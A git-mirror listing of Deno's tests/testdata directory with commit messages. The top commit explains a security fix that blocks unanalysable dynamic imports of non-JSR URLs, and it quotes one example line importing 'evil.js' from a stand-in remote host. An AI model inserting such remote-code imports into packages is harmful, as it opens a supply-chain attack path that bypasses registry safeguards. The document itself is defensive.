1
0
Fork 0
mirror of https://github.com/denoland/deno.git synced 2024-11-26 16:09:27 -05:00
denoland-deno/tests/testdata
David Sherret 918c5e648f
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
..
assets chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
bench chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
benches chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
bundle chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
cache chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
cert chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
check chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
commonjs chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
compile fix(compile): respect compiler options for emit (#22521) 2024-02-21 23:03:11 +00:00
coverage chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
doc chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
dynamic_import chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
encoding chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
eval chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
file_extensions chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
fmt chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
import_attributes chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
import_maps chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
info fix(ext/node): permission prompt for missing process.env permissions (#22487) 2024-02-20 16:40:32 -05:00
inspector chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
install chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
jsr fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) 2024-02-28 16:30:45 -05:00
jsx chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
jupyter chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
lint feat(unstable/lint): no-slow-types for JSR packages (#22430) 2024-02-19 15:28:41 +00:00
lockfile chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
lsp chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
malformed_config chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
module_graph chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
node chore(cli): fix part of flaky test (#22515) 2024-02-21 19:10:51 +00:00
npm chore: move test_util to tests/util/server (#22444) 2024-02-19 06:34:24 -07:00
package_json chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
publish feat(publish): provenance attestation (#22573) 2024-02-28 07:58:02 +05:30
repl chore: bump deno_core (#22596) 2024-02-27 08:05:57 -07:00
run fix(lsp): import map expansion (#22553) 2024-02-24 00:21:09 -05:00
runtime chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
subdir chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
task chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
test chore(cli): rename --trace-ops to --trace-leaks (#22598) 2024-02-28 09:12:43 -07:00
tls chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
tsc chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
tsc2 chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
type_definitions chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
types chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
unfurl feat(publish): support sloppy imports and bare node built-ins (#22588) 2024-02-27 15:13:16 +00:00
vendor chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
webcrypto chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
webgpu chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
workers chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
allow_run_allowlist_resolution.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
allow_run_allowlist_resolution.ts.out chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
cat.ts chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
echo.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
echo_server.ts chore: move test_util/std to tests/util/std (#22402) 2024-02-13 09:22:49 -07:00
env chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
error_cause_recursive_aggregate.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
error_cause_recursive_aggregate.ts.out chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
error_cause_recursive_tail.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
error_cause_recursive_tail.ts.out chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
navigator_language.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
navigator_languages.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
spawn_kill_permissions.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
symlink_to_subdir chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00
welcome.ts chore: move cli/tests/ -> tests/ (#22369) 2024-02-10 20:22:13 +00:00